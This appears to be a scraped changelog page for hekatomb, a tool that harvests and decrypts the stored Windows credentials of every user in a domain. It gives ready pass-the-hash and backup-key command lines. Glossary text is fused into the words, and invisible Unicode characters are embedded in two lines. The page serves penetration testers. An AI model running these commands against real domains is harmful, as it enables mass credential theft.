hekatomb

No entries match these filters. Clear filters

1. docs update Sep 15, 2026 · issue 075

   Hekatomb automates DPAPIDPAPIA Windows OS cryptographic API that encrypts and decrypts secrets tied to a user or machine identity, so applications can store credentials without managing raw keys themselves. secret extraction by combining LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. enumeration, SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. blob download, and DC private key decryption via RPCRPCRemote Procedure Call, a protocol that lets a program execute a function on another machine as if it were local, giving cyber tools a structured way to communicate across processes or hosts without managing raw sockets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

   └──▷ TRY IT
   Dump and decrypt all domain users' DPAPI credentials using pass-the-hash against a domain controller.
   copy

   $ hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug

   Scope extraction to a single user on a single computer and output results as CSV for further analysis.
   copy

   $ hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -just-user jdoe -just-computer WORKSTATION01 -csv

   Use a pre-retrieved domain backup key file and a custom DNS server when the DC is not the default resolver.
   copy

   $ hekatomb -pvk domain_backup.pvk -dns 10.0.0.53 DOMAIN.local/administrator@10.0.0.1

   • Adds -hashes LMHASH:NTHASH flag for pass-the-hash authentication instead of a plaintext password.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Adds -dns DNS flag to specify a DNS server IP for resolving computer hostnames discovered via LDAP.
   • Adds -just-user JUST_USER flag to restrict credential decryption attempts to a single username.
   • Adds -just-computer JUST_COMPUTER flag to restrict SMB blob retrieval to a single target computer.
   • Adds -smb2 flag to force SMBv2 protocol when connecting to SMB shares.

   +5 more show less

   • Adds -port flag to specify a non-default port for SMB server connections.
   • Adds -csv flag to output extracted credential results in CSV format.
   • Adds -md5 flag to print MD5 hashes of passwords instead of cleartext.
   • Adds -debug and -debugmax verbosity flags for troubleshooting LDAP, RPC, and SMB operations.
   • Available via pip3 install hekatomb, pacman -S hekatomb (BlackArch), or from source with Poetry.

   10 details in Everything

2. docs update Sep 15, 2026 · issue 075

   hekatomb: Adds -port [port] flag to set the SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. server port used during DPAPIDPAPIA Windows OS cryptographic API that encrypts and decrypts secrets tied to a user or machine identity, so applications can store credentials without managing raw keys themselves. blob collection.

   └──▷ TRY IT
   Authenticate with an NTLMNTLMA Windows authentication protocol that proves knowledge of a password through a challenge and response. Captured authentication exchanges can be abused in relay attacks when protections are absent. hash (pass-the-hash) and run a full domain credential harvest with debug output — useful when you have a hash but no cleartext password.
   copy

   $ hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug

   Scope extraction to a single user on a single machine to reduce noise and speed up testing during an engagement.
   copy

   $ hekatomb -just-user jsmith -just-computer WORKSTATION01 DOMAIN.local/administrator@10.0.0.1

   Use a pre-retrieved domain backup key file and emit results as CSV for ingestion into a reporting pipeline.
   copy

   $ hekatomb -pvk domain_backup.pvk -csv DOMAIN.local/administrator@10.0.0.1

   • New hekatomb CLI tool connects to LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. to enumerate domain computers and users, downloads all DPAPI blobs via SMB, extracts the domain controller backup private key via RPCRPCRemote Procedure Call, a protocol that lets a program execute a function on another machine as if it were local, giving cyber tools a structured way to communicate across processes or hosts without managing raw sockets., and decrypts all stored Windows Credential Manager secrets.

   1 detail in Everything